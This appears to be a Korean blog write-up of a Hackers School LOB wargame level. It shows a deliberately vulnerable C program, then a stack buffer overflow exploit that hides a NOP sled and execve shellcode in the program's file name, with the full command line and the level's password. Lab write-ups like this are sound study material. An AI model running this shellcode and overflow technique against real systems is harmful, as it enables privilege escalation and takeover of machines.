thumbnail
FTZ LOB LEVEL 10
KOR / pwn
2022.10.29.

0. 들어가기 전에

LOB 레벨 11부터는 꽤 어려운(리버스 쉘 응용 등) 문제들이 나오는걸로 알고 있다. 혼자 열심히 해보고 안되면 빠르게 다른 분들의 포스트를 참고하려고 한다.

pwn을 완전 주력으로 삼을지는 아직 고민 중이다… 웹해킹도 하고있고 네트워크도 하고있으니 (암호학은 내년에 학교에서 정보보안 고급 암호학 한 번 들어보련다)

일단 다 해보고 맞는쪽으로 깊게 더 공부해보려고 한다. 아마 웹이나 네트워크가 되지 않을까?

1. Level 10 : Vampire -> Skeleton

코드를 확인해보자.


#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i, saved_argc;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        // argc saver
        saved_argc = argc;

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // ultra argv hunter! 모든 argc를 초기화한다. 그럼 그냥 파일 이름에 담으면 될 것 같다.
        for(i=0; i<saved_argc; i++)
                memset(argv[i], 0, strlen(argv[i]));
}

여기서 확인할 수 있는건, 우리의 환경변수가 모두 초기화된다는 점이다. 잠깐 다시 한 번 코드의 실행 흐름을 짚어보자.

  1. 함수 프롤로그 실행
  2. 함수 동작 실행
  • 우리에게 buffer 값을 입력받음
  • 우리는 이를 이용해서 오버플로우로 ret값을 변환시킴
  • 기타 다른 동작 실행
  1. 이번에 새로 추가된 ultra hunter가 argv (버퍼 포함) 값들을 전부 초기화시킴.
  2. 변조된 ret값의 주소로 함수가 회귀함

일단 나는 argv[0]까지 (파일 이름) 초기화된다는 점에 조금 의혹이 간다. argv[0]는 초기화되지 않는게 보통이니까, 일단 argv[0], 즉 파일 이름에 NOP SLED를 걸도록 하자.

그렇다면 할 일은 나왔다. ret의 값을 argv[0]으로 향하게 하고, argv[0]에 NOP SLED를 이용하여 쉘 코드를 넣으면 될 것 같다.

대충 확인해본 NOP SLED 중간값의 주소는 다음과 같았다.

0xbffffb28

그럼 이제

./`python -c "print '\x90'*44 + '\xc8\xfb\xff\xbf'"` `python -c "print '\x90' * 200 + '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"` `python -c 'print "A"*44 + "\x28\xfb\xff\xbf"'`

비밀번호 : shellcoder


Source

  • 해커스쿨 FTZ
  • Me!